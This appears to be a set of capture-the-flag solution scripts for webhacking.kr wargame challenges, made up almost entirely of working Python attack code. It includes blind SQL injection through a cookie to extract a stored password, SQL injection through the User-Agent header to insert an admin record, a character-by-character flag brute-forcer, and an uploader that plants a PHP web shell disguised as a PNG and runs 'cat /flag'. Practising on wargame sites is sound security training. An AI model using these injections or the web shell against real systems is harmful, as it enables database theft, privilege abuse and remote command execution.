Hello Navi

#!/usr/bin/env python3
import os
import sys

import requests

BASE_URL = os.environ.get(
    "OLD02_URL", "https://webhacking.kr/challenge/web-02/"
)
TRUE_MARKER = os.environ.get("OLD02_TRUE_MARKER", "2070-01-01 09:00:01")
TABLE = "admin_area_pw"
COLUMN = "pw"
MAX_LENGTH = 64

def query(session: requests.Session, condition: str) -> bool:
    """Return the boolean result observed through the time-cookie response."""
    payload = f"1 AND ({condition})"
    response = session.get(
        BASE_URL,
        cookies={"time": payload},
        timeout=10,
    )
    response.raise_for_status()
    return TRUE_MARKER in response.text

def find_length(session: requests.Session) -> int:
    expression = f"LENGTH((SELECT {COLUMN} FROM {TABLE} LIMIT 0,1))"
    for length in range(1, MAX_LENGTH + 1):
        if query(session, f"{expression}={length}"):
            return length
    raise RuntimeError("password length was not found within MAX_LENGTH")

def find_character(session: requests.Session, position: int) -> str:
    expression = (
        f"ASCII(SUBSTRING((SELECT {COLUMN} FROM {TABLE} LIMIT 0,1),"
        f"{position},1))"
    )
    for codepoint in range(32, 127):
        if query(session, f"{expression}={codepoint}"):
            return chr(codepoint)
    raise RuntimeError(f"ASCII value not found at position {position}")

def extract_password(session: requests.Session) -> str:
    length = find_length(session)
    return "".join(
        find_character(session, position)
        for position in range(1, length + 1)
    )

def main() -> int:
    with requests.Session() as session:
        password = extract_password(session)
    print(password)
    return 0

if __name__ == "__main__":
    sys.exit(main())

#!/usr/bin/env python3
import os
import sys

import requests

URL = os.environ.get(
    "OLD08_URL", "https://webhacking.kr/challenge/web-08/"
)
INJECTION_USER_AGENT = "hacked','1','admin'),('hacked"
NORMAL_USER_AGENT = "hacked"

def request_with_user_agent(
    session: requests.Session, user_agent: str
) -> requests.Response:
    response = session.get(
        URL,
        headers={"User-Agent": user_agent},
        timeout=10,
    )
    response.raise_for_status()
    return response

def main() -> int:
    with requests.Session() as session:
        inserted = request_with_user_agent(session, INJECTION_USER_AGENT)
        print(inserted.text)
        result = request_with_user_agent(session, NORMAL_USER_AGENT)
        print(result.text)
    return 0

if __name__ == "__main__":
    sys.exit(main())

import os
import string
import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-33/index.php"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
MAX_LENGTH = 64

CHARACTERS = (
    string.digits
    + string.ascii_lowercase
    + string.ascii_uppercase
    + "!\\\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~"
)

def make_session():
    session = requests.Session()
    session.headers.update({"User-Agent": "old-56-writeup/1.0"})
    if SESSION_ID:
        session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
    return session

def admin_visible(session, prefix):
    response = session.post(
        ENDPOINT,
        data={"search": prefix},
        timeout=20,
    )
    response.raise_for_status()
    return "admin" in response.text.lower()

def recover_flag(session):
    flag = "flag{"
    for _ in range(MAX_LENGTH - len(flag)):
        for character in CHARACTERS:
            candidate = flag + character
            if admin_visible(session, candidate):
                flag = candidate
                print(flag)
                break
        else:
            raise RuntimeError(f"no candidate matched after {flag!r}")
        if flag.endswith("}"):
            return flag
    raise RuntimeError("closing brace was not reached")

def main():
    session = make_session()
    flag = recover_flag(session)
    print(f"flag={flag}")

if __name__ == "__main__":
    main()

from __future__ import annotations

import argparse
from urllib.parse import urljoin

import requests

WEB_SHELL = b'<?php system($_GET["cmd"]); ?>\n'

def upload(session: requests.Session, upload_url: str, filename: str) -> str:
    files = {"file": (filename, WEB_SHELL, "image/png")}
    response = session.post(upload_url, files=files, timeout=20)
    response.raise_for_status()
    return urljoin(upload_url, filename)

def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--upload-url", default="http://webhacking.kr:10004/")
    parser.add_argument("--filename", default="shell.php")
    args = parser.parse_args()

    session = requests.Session()
    shell_url = upload(session, args.upload_url, args.filename)
    response = session.get(shell_url, params={"cmd": "cat /flag"}, timeout=20)
    response.raise_for_status()
    print(response.text)

if __name__ == "__main__":
    main()